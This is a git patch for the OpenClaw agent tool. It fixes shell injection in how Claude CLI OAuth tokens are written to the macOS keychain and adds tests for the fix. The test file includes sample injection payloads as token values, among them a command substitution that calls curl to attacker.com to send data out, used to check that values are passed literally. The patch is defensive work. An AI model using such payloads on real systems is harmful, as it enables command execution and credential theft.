From 66d7178f2d6f9d60abad35797f97f3e61389b70c Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 14 Feb 2026 17:24:29 +0100 Subject: [PATCH] fix(security): eliminate shell from Claude CLI keychain refresh --- CHANGELOG.md | 1 + src/agents/cli-credentials.test.ts | 332 +++++++++++++++++++++++++++++ src/agents/cli-credentials.ts | 29 ++- 3 files changed, 351 insertions(+), 11 deletions(-) create mode 100644 src/agents/cli-credentials.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index ffd4ce5bafd..c44881f918d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,7 @@ Docs: https://docs.openclaw.ai ### Fixes - Security/Agents: scope CLI process cleanup to owned child PIDs to avoid killing unrelated processes on shared hosts. Thanks @aether-ai-agent. +- Security/Agents (macOS): prevent shell injection when writing Claude CLI keychain credentials. (#15924) Thanks @aether-ai-agent. - Security: fix Chutes manual OAuth login state validation (thanks @aether-ai-agent). (#16058) - Security/Discovery: stop treating Bonjour TXT records as authoritative routing (prefer resolved service endpoints) and prevent discovery from overriding stored TLS pins; autoconnect now requires a previously trusted gateway. Thanks @simecek. - macOS: hard-limit unkeyed `openclaw://agent` deep links and ignore `deliver` / `to` / `channel` unless a valid unattended key is provided. Thanks @Cillian-Collins. diff --git a/src/agents/cli-credentials.test.ts b/src/agents/cli-credentials.test.ts new file mode 100644 index 00000000000..51e0f947137 --- /dev/null +++ b/src/agents/cli-credentials.test.ts @@ -0,0 +1,332 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const execSyncMock = vi.fn(); +const execFileSyncMock = vi.fn(); + +describe("cli credentials", () => { + beforeEach(() => { + vi.useFakeTimers(); + }); + + afterEach(async () => { + vi.useRealTimers(); + execSyncMock.mockReset(); + execFileSyncMock.mockReset(); + delete process.env.CODEX_HOME; + const { resetCliCredentialCachesForTest } = await import("./cli-credentials.js"); + resetCliCredentialCachesForTest(); + }); + + it("updates the Claude Code keychain item in place", async () => { + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: "new-access", + refresh: "new-refresh", + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Verify execFileSync was called with array args (no shell interpretation) + expect(execFileSyncMock).toHaveBeenCalledTimes(2); + const addCall = execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); + expect(addCall?.[0]).toBe("security"); + expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U"); + }); + + it("prevents shell injection via malicious OAuth token values", async () => { + const maliciousToken = "x'$(curl attacker.com/exfil)'y"; + + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: maliciousToken, + refresh: "safe-refresh", + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // The -w argument must contain the malicious string literally, not shell-expanded + const addCall = execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); + const args = (addCall?.[1] as string[] | undefined) ?? []; + const wIndex = args.indexOf("-w"); + const passwordValue = args[wIndex + 1]; + expect(passwordValue).toContain(maliciousToken); + // Verify it was passed as a direct argument, not built into a shell command string + expect(addCall?.[0]).toBe("security"); + }); + + it("prevents shell injection via backtick command substitution in tokens", async () => { + const backtickPayload = "token`id`value"; + + execFileSyncMock.mockImplementation((file: unknown, args: unknown) => { + const argv = Array.isArray(args) ? args.map(String) : []; + if (String(file) === "security" && argv.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: "safe-access", + refresh: backtickPayload, + expires: Date.now() + 60_000, + }, + { execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Backtick payload must be passed literally, not interpreted + const addCall = execFileSyncMock.mock.calls.find( + ([binary, args]) => + String(binary) === "security" && + Array.isArray(args) && + (args as unknown[]).map(String).includes("add-generic-password"), + ); + const args = (addCall?.[1] as string[] | undefined) ?? []; + const wIndex = args.indexOf("-w"); + const passwordValue = args[wIndex + 1]; + expect(passwordValue).toContain(backtickPayload); + }); + + it("falls back to the file store when the keychain update fails", async () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-")); + const credPath = path.join(tempDir, ".claude", ".credentials.json"); + + fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 }); + fs.writeFileSync( + credPath, + `${JSON.stringify( + { + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }, + null, + 2, + )}\n`, + "utf8", + ); + + const writeKeychain = vi.fn(() => false); + + const { writeClaudeCliCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliCredentials( + { + access: "new-access", + refresh: "new-refresh", + expires: Date.now() + 120_000, + }, + { + platform: "darwin", + homeDir: tempDir, + writeKeychain, + }, + ); + + expect(ok).toBe(true); + expect(writeKeychain).toHaveBeenCalledTimes(1); + + const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as { + claudeAiOauth?: { + accessToken?: string; + refreshToken?: string; + expiresAt?: number; + }; + }; + + expect(updated.claudeAiOauth?.accessToken).toBe("new-access"); + expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh"); + expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number"); + }); + + it("caches Claude Code CLI credentials within the TTL window", async () => { + execSyncMock.mockImplementation(() => + JSON.stringify({ + claudeAiOauth: { + accessToken: "cached-access", + refreshToken: "cached-refresh", + expiresAt: Date.now() + 60_000, + }, + }), + ); + + vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); + + const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js"); + + const first = readClaudeCliCredentialsCached({ + allowKeychainPrompt: true, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + const second = readClaudeCliCredentialsCached({ + allowKeychainPrompt: false, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + + expect(first).toBeTruthy(); + expect(second).toEqual(first); + expect(execSyncMock).toHaveBeenCalledTimes(1); + }); + + it("refreshes Claude Code CLI credentials after the TTL window", async () => { + execSyncMock.mockImplementation(() => + JSON.stringify({ + claudeAiOauth: { + accessToken: `token-${Date.now()}`, + refreshToken: "refresh", + expiresAt: Date.now() + 60_000, + }, + }), + ); + + vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); + + const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js"); + + const first = readClaudeCliCredentialsCached({ + allowKeychainPrompt: true, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + + vi.advanceTimersByTime(15 * 60 * 1000 + 1); + + const second = readClaudeCliCredentialsCached({ + allowKeychainPrompt: true, + ttlMs: 15 * 60 * 1000, + platform: "darwin", + execSync: execSyncMock, + }); + + expect(first).toBeTruthy(); + expect(second).toBeTruthy(); + expect(execSyncMock).toHaveBeenCalledTimes(2); + }); + + it("reads Codex credentials from keychain when available", async () => { + const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); + process.env.CODEX_HOME = tempHome; + + const accountHash = "cli|"; + + execSyncMock.mockImplementation((command: unknown) => { + const cmd = String(command); + expect(cmd).toContain("Codex Auth"); + expect(cmd).toContain(accountHash); + return JSON.stringify({ + tokens: { + access_token: "keychain-access", + refresh_token: "keychain-refresh", + }, + last_refresh: "2026-01-01T00:00:00Z", + }); + }); + + const { readCodexCliCredentials } = await import("./cli-credentials.js"); + const creds = readCodexCliCredentials({ platform: "darwin", execSync: execSyncMock }); + + expect(creds).toMatchObject({ + access: "keychain-access", + refresh: "keychain-refresh", + provider: "openai-codex", + }); + }); + + it("falls back to Codex auth.json when keychain is unavailable", async () => { + const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); + process.env.CODEX_HOME = tempHome; + execSyncMock.mockImplementation(() => { + throw new Error("not found"); + }); + + const authPath = path.join(tempHome, "auth.json"); + fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 }); + fs.writeFileSync( + authPath, + JSON.stringify({ + tokens: { + access_token: "file-access", + refresh_token: "file-refresh", + }, + }), + "utf8", + ); + + const { readCodexCliCredentials } = await import("./cli-credentials.js"); + const creds = readCodexCliCredentials({ execSync: execSyncMock }); + + expect(creds).toMatchObject({ + access: "file-access", + refresh: "file-refresh", + provider: "openai-codex", + }); + }); +}); diff --git a/src/agents/cli-credentials.ts b/src/agents/cli-credentials.ts index 17f4d494084..5d450feb50f 100644 --- a/src/agents/cli-credentials.ts +++ b/src/agents/cli-credentials.ts @@ -382,13 +382,13 @@ export function readClaudeCliCredentialsCached(options?: { export function writeClaudeCliKeychainCredentials( newCredentials: OAuthCredentials, - options?: { execSync?: ExecSyncFn; execFileSync?: ExecFileSyncFn }, + options?: { execFileSync?: ExecFileSyncFn }, ): boolean { - const execSyncImpl = options?.execSync ?? execSync; const execFileSyncImpl = options?.execFileSync ?? execFileSync; try { - const existingResult = execSyncImpl( - `security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w 2>/dev/null`, + const existingResult = execFileSyncImpl( + "security", + ["find-generic-password", "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, "-w"], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }, ); @@ -409,13 +409,20 @@ export function writeClaudeCliKeychainCredentials( // Use execFileSync to avoid shell interpretation of user-controlled token values. // This prevents command injection via $() or backtick expansion in OAuth tokens. - execFileSyncImpl("security", [ - "add-generic-password", - "-U", - "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, - "-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT, - "-w", newValue, - ], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }); + execFileSyncImpl( + "security", + [ + "add-generic-password", + "-U", + "-s", + CLAUDE_CLI_KEYCHAIN_SERVICE, + "-a", + CLAUDE_CLI_KEYCHAIN_ACCOUNT, + "-w", + newValue, + ], + { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }, + ); log.info("wrote refreshed credentials to claude cli keychain", { expires: new Date(newCredentials.expires).toISOString(),